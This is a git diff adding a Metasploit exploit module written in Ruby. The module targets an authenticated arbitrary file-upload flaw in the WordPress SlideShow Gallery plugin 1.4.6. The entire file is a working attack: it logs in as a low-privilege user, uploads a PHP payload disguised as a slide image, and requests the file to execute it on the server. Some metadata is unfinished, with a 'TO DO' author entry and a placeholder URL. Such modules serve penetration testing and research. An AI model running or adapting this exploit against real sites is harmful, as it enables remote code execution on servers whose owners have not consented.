diff --git a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb new file mode 100644 index 0000000000..9596564b21 --- /dev/null +++ b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb @@ -0,0 +1,112 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Wordpress SlideShow Gallery Authenticated File Upload', + 'Description' => %q{ + The Wordpress SlideShow Gallery plugin contains an auhtenticated file upload + vulnerability. We can upload arbitrary files to the upload folder, because + the plugin also uses it's own file upload mechanism instead of the wordpress + api it's possible to upload any file type. The user provided does not need + special rights, and users with "Contributor" role can be abused. + }, + 'Author' => + [ + 'TO DO', # Vulnerability discovery + 'Roberto Soares Espreto' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-2222'], + ['URL', 'http://domain.html'], + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [['WP SlideShow Gallery 1.4.6', {}]], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 28 2014')) + + register_options( + [ + OptString.new('USER', [true, 'A valid username', nil]), + OptString.new('PASSWORD', [true, 'Valid password for the provided username', nil]) + ], self.class) + end + + def user + datastore['USER'] + end + + def password + datastore['PASSWORD'] + end + + def check + check_plugin_version_from_readme('Slideshow Gallery', '1.4.6') + end + + def exploit + print_status("#{peer} - Trying to login as #{user}") + cookie = wordpress_login(user, password) + if cookie.nil? + print_error("#{peer} - Unable to login as #{user}") + return + end + + print_status("#{peer} - Trying to upload payload") + filename = "#{rand_text_alpha_lower(8)}.php" + + data = Rex::MIME::Message.new + data.add_part("", nil, nil, 'form-data; name="Slide[id]"') + data.add_part("", nil, nil, 'form-data; name="Slide[link]"') + data.add_part("", nil, nil, 'form-data; name="Slide[image_url]"') + data.add_part('both', nil, nil, 'form-data; name="Slide[showinfo]"') + data.add_part('randonx', nil, nil, 'form-data; name="Slide[description]"') + data.add_part('file', nil, nil, 'form-data; name="Slide[type]"') + data.add_part('randonx', nil, nil, 'form-data; name="Slide[title]"') + data.add_part('70', nil, nil, 'form-data; name="Slide[iopacity]"') + data.add_part('N', nil, nil, 'form-data; name="Slide[uselink]"') + data.add_part("", nil, nil, 'form-data; name="Slide[order]"') + data.add_part('self', nil, nil, 'form-data; name="Slide[linktarget]"') + data.add_part(payload.encoded, 'application/x-httpd-php', nil, "form-data; name=\"image_file\"; filename=\"#{filename}\"") + post_data = data.to_s + + print_status("#{peer} - Uploading payload") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(wordpress_url_backend, 'admin.php'), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'vars_get' => { + 'page' => 'slideshow-slides', + 'method' => 'save' + }, + 'data' => post_data, + 'cookie' => cookie + }) + + if res && res.code == 200 + register_files_for_cleanup(filename) + else + fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}") + end + + print_status("#{peer} - Calling uploaded file #{filename}") + send_request_cgi({ + 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'slideshow-gallery', filename) + }, 2) + end +end